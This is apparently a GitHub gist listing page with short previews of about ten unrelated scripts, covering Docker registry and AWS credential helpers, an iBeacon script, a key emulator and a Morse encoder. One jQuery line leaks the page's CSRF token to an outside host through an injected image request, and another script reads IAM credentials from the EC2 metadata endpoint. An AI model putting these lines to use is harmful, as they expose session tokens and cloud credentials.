This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
set -e | |
AUTH_API_BASE_URL="https://auth.docker.io" | |
API_BASE_URL="https://index.docker.io" | |
SERVICE="registry.docker.io" | |
FAT_MANIFEST="application/vnd.docker.distribution.manifest.list.v2+json" | |
MANIFEST="application/vnd.docker.distribution.manifest.v2+json" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
set -euo pipefail | |
list_access_keys() { | |
aws configure list | |
aws --output table iam list-access-keys | |
aws --output table sts get-caller-identity | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
from sys import argv, exit | |
from argparse import ArgumentParser | |
from urlparse import urlparse | |
import botocore.session | |
from botocore.awsrequest import AWSRequest | |
from botocore.auth import SigV4Auth | |
from botocore.httpsession import URLLib3Session |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
# | |
# https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html#cli-configure-role-mfa | |
# AWS_PROFILE=role-with-mfa ./aws-assumed terraform apply | |
from sys import argv | |
from os import path, environ, execvpe | |
import botocore.credentials | |
import botocore.session |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# git clone https://github.com/carsonmcdonald/bluez-ibeacon.git | |
# make -C bluez-ibeacon/bluez-beacon | |
import time | |
import sys | |
import signal | |
import subprocess | |
import RPi.GPIO as GPIO |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// build: | |
// GOOS=windows GOARCH=386 go build -o keyemu.exe keyemu.go | |
// GOOS=windows GOARCH=amd64 go build -o keyemu-x64.exe keyemu.go | |
// openssl req -new -x509 -days 3650 -newkey rsa:2048 -sha256 -nodes -subj "/CN=asannou" -keyout keyemu-ca.key -out keyemu-ca.crt | |
// openssl req -new -days 3650 -newkey rsa:2048 -sha256 -nodes -subj "/CN=keyemu" -keyout keyemu.key -out keyemu.csr | |
// openssl x509 -req -sha256 -days 3650 -CA keyemu-ca.crt -CAkey keyemu-ca.key -set_serial $RANDOM -in keyemu.csr -out keyemu.crt | |
// curl -v -u user:password --cacert keyemu-ca.crt --resolve keyemu:9999:127.0.0.1 https://keyemu:9999/foobar |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env node | |
const fs = require("fs"); | |
const codes = { | |
"0": "-----", | |
"1": ".----", | |
"2": "..---", | |
"3": "...--", | |
"4": "....-", |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env node | |
"use strict"; | |
// jk.nicovideo.jp 52.199.26.3 | |
/* | |
server { | |
listen 80; | |
server_name jk.nicovideo.jp; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$('body').append($('<img src="https://google.com?'+$('meta[name="csrf-token"]')[0].content+'">')) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
set -e | |
role=$(curl -s -f http://169.254.169.254/latest/meta-data/iam/security-credentials/) | |
session=$( | |
curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/$role" | \ | |
sed 's/AccessKeyId/sessionId/' | \ | |
sed 's/SecretAccessKey/sessionKey/' | \ |
NewerOlder